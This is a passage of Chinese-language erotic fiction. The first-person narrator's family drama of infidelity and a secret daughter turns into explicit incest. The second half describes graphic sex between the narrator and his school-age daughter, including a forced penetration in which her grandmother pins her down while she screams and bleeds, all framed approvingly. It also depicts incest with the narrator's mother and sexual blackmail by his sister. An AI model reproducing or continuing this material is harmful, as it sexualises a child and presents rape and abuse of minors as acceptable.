在一家咖啡厅,几个人好不容易等到空出一张四人座的桌子,各自点了饮料
甜品。

晨和雁坐在里面靠窗的位置,静和月陪着各自的妈妈坐在外面,我找了把椅
子坐在桌子冲外一头,尽量把身子贴着桌边,好不挡着过往的人。

我简单介绍了一下后,几个人都没话,我一时也不知说什么好,气氛相当的
尴尬,我有些后悔怎么会说出那句话。

晨这时只是看着窗外,对面的母女对她来说仿佛不存在,雁低着头喝着饮料,
偶尔偷偷的瞄一眼晨和静,两个女孩倒是眼珠子转来转去,四下打量着,尤其是
静,眼珠子要瞪到脑袋顶,视线在雁和晨脸上换来换去之后,终于定在月脸上,
看得月红了脸,低了头。

静忽的一笑,说:「小妹妹,你今年多大了啊?」见月不吭声,抓起我的一
只手,放在怀里,轻笑着又说:「真可爱呢,快有姐姐当年可爱了呢,可惜还差
些呢,我爸爸给你掏过耳朵么,哄没哄过你睡觉啊,帮没帮过你写作业啊?」

看着月失落的神情,静眼更是亮,又说:「剪指甲呢?修眉呢?洗头呢?我
爸爸说我是他这辈子唯一的宝贝呢,是吧爸爸?」静大眼看着我。月也看我。我
忍着不点头。

静的笑意里,月这时忽的拿起我另一只手,也放到怀里,冲静轻轻的笑,说:
「姐姐,我的爸爸可是亲的啊。」静愣了一下,看着月脸上灿烂的笑,慢慢冷了
脸,咬起嘴唇来,过了会儿,狠狠冲我说:「爸,你告诉这小妖精谁才是亲生的!」

我大着脑袋不说话。

「你今天必须告诉她,」静咬着牙,湿着眼:「你要还是我爸的话,你就告
诉她实情!」

这时雁看过来,在我和静脸上端详着,晨在一边拉静的衣角,给静抖开。月
也一脸疑惑的看着我。

静几乎要喊叫起来:「你说啊爸!」

我沉默了一会儿,终于点点头,对雁说:「对,小静确实是我的亲生骨肉!」

27.

「老公!」晨看着我,冲我摇头。

「没事晨,也该告诉她们了。」我低下头,慢慢想着,慢慢编着筐,抬起头
环顾四下,对着雁说:「是这样老婆,我跟晨其实在高中时候就相恋了……」

「老公,你说什么?!」晨说。

我看了一晨,说:「晨,你别说话,让我告诉她们。」又对着雁说:「可由
于初中那会儿我交往的女生太多,给晨留下的印象不好,我们的关系也一直是吵
吵闹闹的……」

想了想,我接着编:「大学时候,我把晨介绍给我家里人,可我爸不同意,
他嫌晨家里没权势,配不上我,让我跟晨断。那阵子晨的老公开始追求晨,晨也
因为我家里的原因跟我闹情绪,我以为晨移心别恋,一生气就转校了。毕业后,
我发觉自己还是忘不了晨,就再次找到晨,也知道当年是误会晨了,可当时晨已
经结了婚,说虽然她还爱我,可她老公对她很好,她不想伤害她老公。」

「当天晚上,我求晨给我最后一次,决定以后不会再缠着晨。可一年后,晨
给我打来电话,说她有孩子了,是静,晨说她怀疑孩子是我的。我跟静去做了亲
子签定,确实是我的。可雁,你知道,那时咱们也结婚了,我爸也依赖你家的关
系,肯定不会同意咱们离的。晨也不同意跟她老公离,说她跟我有了孩子,已经
对不起她老公了,不想再对不起他了,让我瞒着这事。」

「就这样,一晃静也成大姑娘了。那阵子,我又找到晨,粘着晨,想跟她合
好,晨还是不同意,这时晨老公突然出车祸死了。晨以为是我派人撞死的,又觉
得那么多年她从来没爱过自己的丈夫,女儿也不是他的,觉的对不起她老公,加
上我在晨老公刚死就又去缠晨,晨凉了心,就把我打了。」

「我醒过来后,好好反醒过了,我知道是我对不起晨,再说静是我们的女儿,
我不想静看着她妈坐牢,就让老钱帮着给晨脱罪。我出院后,跟晨发誓不是我害
她老公的,晨慢慢也相信不是我干的了,答应跟我,可晨不想破坏咱们这个家,
不想让月和怡没有爸爸,不让我离。」

「爸,你说什么呢?」静一脸惊讶的看着我。

「小静,」我看看静,说:「我跟你妈当年的事,我确实没全跟你说,你别
怪爸。」

「爸,你……」静说。

「小静!」我瞪静:「不管怎么样,我是你爸,我是你亲爸,从今后我让所
有人知道你是我亲生的女儿,这就够了不是么?!爸知道以前对不起你们母女,
对不起你,你就不能原谅爸么?!」

「可爸……」

「够了小静!」我说:「我知道你想让我跟你妈过,想让我跟你小雁阿姨离
婚,娶你妈妈,可小静,我不是早就跟你说了么,爸已经变了,你好好看看你爸,
你爸由里到外都变了!我现在也爱你小雁阿姨,我也不能扔了小月,小月跟你一
样,也是你爸的亲骨肉,你怎么就不能理解一下你爸呢?」

雁呆呆的,这时终于开口问:「静真是,真是你亲生的?」又看看晨:「真
是你们俩的女儿?」晨轻轻点了点头。

「可,可怎么可以,」雁一脸的不可思议,在我和静脸上看来看去,说:
「可你们,你们怎么能做那种事儿?你们,你们这是乱伦啊!」

「雁子,我喜欢小静,小静也喜欢我,我们为什么就不能?」我看小静:
「你喜欢爸爸么小静?」

静看着我,点点头。

雁神情恍惚着跟着我们出了咖啡厅,恍惚着给我拉进车里,恍惚着跟着到了
我和晨的家里,跟月一起坐在客厅沙发上时,神情仍是恍惚着。

晨在厨房里做着饭,我关了门,走上过,吻着晨,说:「对不起老婆。」

「是我对不起你老公。」晨看着我,又说:「我知道我不配,可之前我心里
还是有些生气。今天我见着雁了,我不生气了。」

「嗯?」

「你没发现雁和我很像么?」晨笑笑又说:「我知道当时你一时接受不了我
的出轨,把雁当成我了,想从雁那里得到安慰。」

「嗯?」我喃喃说:「是这样么?」

晨笑笑,说:「别想明白,你就让我这么想好么?」又说:「你快出去吧,
去安慰安慰你那个老婆,她让静闹的一时反不过味来。」

餐桌上,五个人挤在一张桌子上,吃饭前,我指指雁说:「晨,从今后雁子
就是你妹妹了。」又指指晨:「雁子,晨也就是你姐了,以后别在我面前再说你
姐的坏话了。」

「谁说了?」雁低着头,小声说。

「妈,」这时月看着晨说:「晨姨好漂亮啊。」

雁扭过头瞪自己的女儿。

回去的车里,我开着车,雁坐在我一边,月坐在后座。三个人沉默着,我想
了想说:「小月,别怪爸爸好么?」

月沉默了一会儿,说:「爸,小静姐姐很可怜的,我以后会让着她的。」

我闭了嘴不说话,想着这女孩怎么能这么善良。

雁一直不说话,手却一直掐着我的大腿不松,下车的时候让裤子一摩,火辣
辣的疼,估计起青了。

妈妈在一楼大厅看着电视,见雁一声不吭的上了楼,拉住我小心的问:「雁
子知道我们的事了?」我摇摇头,说:「妈,以后跟你说,我上楼了啊。」

雁子坐在卧室床边,低着头生着闷气,我走过去坐在她身边,伸手要把她揽
到怀里,雁推我,不让我碰。过了会儿说:「你跟我实说,你当年跟我结婚,是
不是只是把我当那女人的替代品了?」

我愣了一下,忙说:「雁子,你别生气,我也不清楚了,可现在我是真心喜
欢你了,别生气了好么?」

「那你看着我的眼,说你爱我!」雁抬起头,湿着眼:「你说!」

「我爱你雁子。」我擦着女人的泪,轻轻说:「我爱你!」自己也不知道有
多少真心。

没多少天就要过年了,月放了假,雁公司年前却正是忙的时候。

这天上午,妈妈也没敲门,走进月的房间。

月的单人床上,我和月正赤条条的叠在一起,我在下面正含着月的屄,月倒
趴在我身上含舔着我的屌,父女两人身上披着汗,舔着对方,对女人的出现视若
不见。

月给我口交还是她奶奶教的,没几天却比她奶奶舔的还要好,这时抖着胯子,
正把我的阴囊含在小嘴里,喘息着轻一阵重一阵的吮着,又忽的抬了头,停在半
空里,眯起眼,仿佛不堪承受我在它阴蒂上的吮吸,小嘴哆嗦片刻,小腿猛的一
蹬,再次泄了出来,软在那里,却仍伸出小舌,机械的舔着我的肉茎。

妈妈说:「你们有完没完了,这都舔了一上午了。」话里有着醋意,又说:
「快下去吃饭!」

我还没说话,月回头看我,羞着说:「爸,我还想再来一次。」

月一直把泄身说成「来」,小女孩一旦尝到性爱的滋味真是一发不可收。

看我点点头,起身跨在我胯上,压着我的阴茎,手扒开两片小小的阴唇,抵
在肉柱上,耸着白白的身子,上下磨动了起来,两只小乳在空里微微晃着。呻吟
喘息着一边摩着一边俯下身,与我亲在一起。

可敏感的小屄哪经得起下面那老屌的研磨,不多一会儿,小嘴一张,长叹几
气,抖着又泄了出来。我却正是欲望大盛的时候,喃喃说:「小月,今天给爸爸
吧!」

月眼睛闪烁着,却是说:「爸,疼的,你的太大了,进不去。」

「让爸再试一次好么?」我说:「再试一次,听话小月,再说你小静姐的都
进去了,你的也可以的。」

月看自己奶奶。

妈妈坐在床边,摸着月湿湿的脸,说:「小月,听爸爸的话,没事的,就疼
一下,你看爸爸的脑袋,大吧,当年就是从那个地方出来的,你看看,脑袋都能
出来,你爸那东西会进不去么?」脱了裤子,又说:「来,奶奶演示给你看。」

妈妈上了床,我说:「小月,给奶奶含含。」女人下面其实已经湿了,却仍
是把胯子凑到月嘴边,说:「小月,快帮奶奶舔舔,奶奶教你伺候你爸。」

女人跪在我腰间,慢慢的坐了下去,又说:「小月,你看,很简单的,像奶
奶这样慢慢坐下去就可以了。」

女人耸动了几下,起身说:「小月,你今天再试试,忍着,先把头塞进去,
后面就容易了。」

几丝阳光透过窗帘打在高耸的巨屌上,女人把着根部,让它直直挺着,女孩
犹豫着蹲起,调整着让下面的龟尖慢慢卡在两片粉嫩的阴唇之间,试着坐了下,
却一下子起了身,皱着眉看着我:「爸,太疼了,改天吧好么?」

「小月,别急,慢慢的向下坐。」

女孩又蹲了上去,我喘息着,看着龟尖慢慢陷了进去,慢慢又进了半个龟头,
女孩紧咬着牙,两腿抖着,眉头皱在一起。

下面女孩屄户套在龟头上,撑的快要透明,像是一条皮筋,感觉在下一刻就
会断掉。忽的皮筋一蹦,鸡蛋大小的龟头已没在了女孩体内,挤出一滩阴液。

随着龟头的挤进,女孩叫了一声,颤抖着腿,再也不动,说:「奶奶,都进
去了么。」又说:「疼,疼……是不是出血了奶奶。」

龟尖正顶着那层膜,只觉女孩屄口不停的蠕动着,本能的要把体内的东西挤
出去。我呻吟一声,说:「小月,接着坐下去,马上就不疼了。」

女孩试着坐下,叫了一声,马上停住了,脸上被汗打的湿透,死活再不向下
坐,说:「我不来了爸,真的太疼了,要裂了。」

我一时口干舌燥,伸下手把住女孩的脚脖,又跟妈妈示意了一下,女人上前
在女孩背后双手按住女孩的肩,我说:「来,小月,再试着坐一下,来,对,对
……」

随着女孩向下的力道,我把着女孩脚脖向外猛的一扯,女人同时把着女孩的
肩大力的一按,女孩身子尖叫着落了下去。

女孩跪在那里,胯间的巨屌已没进了大半,女孩脸上没有一丝血色,尖叫着
提着身子,却给她奶奶在身后按的死死的,过了会儿,终于不动,哇的大哭起来。

女孩那屄户像一只小拳头,死死的攥着我的大物,阴肉大力蠕动着,向外排
挤着,过了一会儿,顺着肉柱,血慢慢淌下。女人松了手,在一边桌子抽屉里取
了准备好几天的白手帕,在肉柱上擦了擦,把手帕递到女孩眼前,说:「小月,
从今后你就是你爸的女人了,以后要乖乖的啊。」女孩抽泣着,眼神迷离的看着
眼前印着处子血的手帕,听女人又说:「这手帕你要好好收拾着啊。」女孩轻轻
点点头。

屋里静静的,过了会儿,月终于止了抽泣,苍白的脸慢慢红晕起来,我说:
「小月,还疼么。」女孩摇摇,又点点头,过了半晌又细若无语的说:「里面感
觉怪怪的爸。」

我跟妈妈对视一眼,妈妈把手伸到月胯间,沾着阴水,在那隆起的肉芽上揉
了起来,轻轻说:「里面是不是有些发痒的啊小月?」女孩红着脸不说话。

「奶奶说的没错吧,只疼一下的,来小月,试着像奶奶那样套几下。」说着
继续揉着肉芽。

女孩犹豫着提起身子,阴缝间顺着肉柱又淌下一大股血,我吃了一惊,看女
人,因为晨当年流的血很少,妈妈仿佛明白我意思,摇摇头说:「没事,有些女
孩子初夜流的就多。」

月落下再提起时,那血终于不再流,我也暗自吁了一口气。

午后的阳光下,那只粘着血的肉柱在女孩小小的身子里忽隐忽现,女孩喘息
呻吟着,阴蒂在女人的一番揉摸之后,再次尖叫出声,扑倒在我怀里。

由于小月下面实在太疼,她奶奶只好把她的饭拿到屋里,吃过后,没休息多
一会儿,小月红着脸吱唔着说还想要。光着身子在我身上耸了不到几分钟,又说
着「死了,死了」倒到一边。

不知过了多久,这时,女人正在我身上耸着身子,小月跨在我头顶让我含着
她的小屄,外面忽的传来一阵喊声:「妈!妈!」

是姐姐。

二楼的又传来几声门开合的声音,脚步声又踏着楼梯上来,冲小月房间走过
来,然后又一阵的敲门声,姐姐喊:「小月,你奶奶呢?」

「说你奶奶出去了!」我在月耳边说。

「我奶奶出去了姑姑!」月冲着门喊。

「出去了?」姐姐在门外喃喃着,过了半晌又问:「你爸呢小月?」

「也出去了,不知什么时候回来。」月说。

「大白天的锁门开什么呢,你开门小月,别隔着门说话了,怪费力的。」

「姑姑,我睡着呢,还有别的事么?」

外面沉默着,又说:「那好,姑姑出去逛逛商场,呆会儿再过来。」

说完,脚步声下了楼。

「快穿上衣服!」妈妈冲我喊。

几分钟后,我打开房门正要向外走,愣在原地,看着外面赤脚站着的姐姐,
手里举着妈妈的手机、钥匙、钱包,和一顶出门必戴的帽子。

姐姐冲着我身后的女人淡淡说:「妈,你出门忘带东西了。」

我跟姐姐走进隔壁小怡的卧室,姐姐锁了门,倚在门上冷冷看着我。

我说:「姐,我和妈没干什么的。」

「你当你姐傻么?!」姐姐上前狠狠扇了我一巴掌,我闭了嘴。

「你就那么讨厌你姐么?!」

「嗯?」我奇怪的看女人。

「那次姐姐要给你,你忘了你说的什么?!」

「嗯?」

「你说你不是不喜欢姐姐,只是乱伦的事儿你干不了,」女人哆嗦着嘴:
「原来你都是骗你姐的!」

「……」

「干不了,你操妈?干不了,你操小月?」说着女人举起拳头冲我胸口抢了
起来,又吼:「你给我解释清楚!」

我把女人的手按在门上,亲女人的嘴。

女人扭开嘴,说:「你操妈多久了?!」

「也就是最近。」我老实交待。

「你想操你姐么?」

我点点头,说:「想好久了。」

女人不说话。

「姐,你怎么会有我家的钥匙?」我问。

「你忘了那么多事儿,想来你答应你姐夫操雁子的事也忘了吧?」

我愣了一下。

女人说:「钥匙就是那时你扔给我的,你说你姐夫想操的话,随时可以过来
操。」

「我姐夫操了?」我心下一凉,下面却是一硬。

「你想?」女人看着我下面的隆起,笑:「只要你还同意就行,你姐夫可是
想操雁子好久了。要不是妈警告过你姐夫,他早来了。」

「嗯?妈知道?」

「你姐夫看雁那色狼相,谁看不出来?现在可好了,妈现在也管不着了,她
连自己儿子都敢操,凭什么管你姐夫,是吧小弟?」女人又说:「你到底同不同
意?!」

见我不说话,女人说:「小弟,你要是不听姐的话,可别怪我把你跟妈的事
跟爸说,爸会弄死你,你信不信?」

我冷了脸,推开女人,女人拉住我的手,说:「小弟,你看你,姐姐开个玩
笑也不行么。」笑笑又说:「你还是和以前一样,跟个孩子一样,连我那儿子也
不如,老跟你姐耍小性子,你放心,姐打小就疼你的,你忘了?哪会要胁你的。
这事你慢慢再考虑考虑。」

我仍是不吭声。女人又说:「你忘了你以前和你姐夫多铁了?你忘了你跟你
姐夫一起操过多少女人了?你忘了你操过你姐夫多少女人了?你忘了你给你姐夫
的私生女干过苞了?我手头还有些带子,哪天拿来你回顾一下?」

女人说:「我走了小弟,姐不逼你,你自己考虑。嗯,对了,别忘跟妈和小
月说,说我什么也不知道。」

女人转身开门,又拍了拍脑门,回头笑笑说:「瞧你姐,把来这儿的正事忘
了,小弟,你跟妈说,她前几天让我在外地给她捎的紧身衣我买了,按妈的意思,
还是以前那个牌子的,放在一楼沙发上。」

「紧身衣?」

「嗯,妈做瑜珈用的。」

我想着那件给我剪了一个大洞的紧身衣,愣在那里。

「怎么了小弟?」

「操!」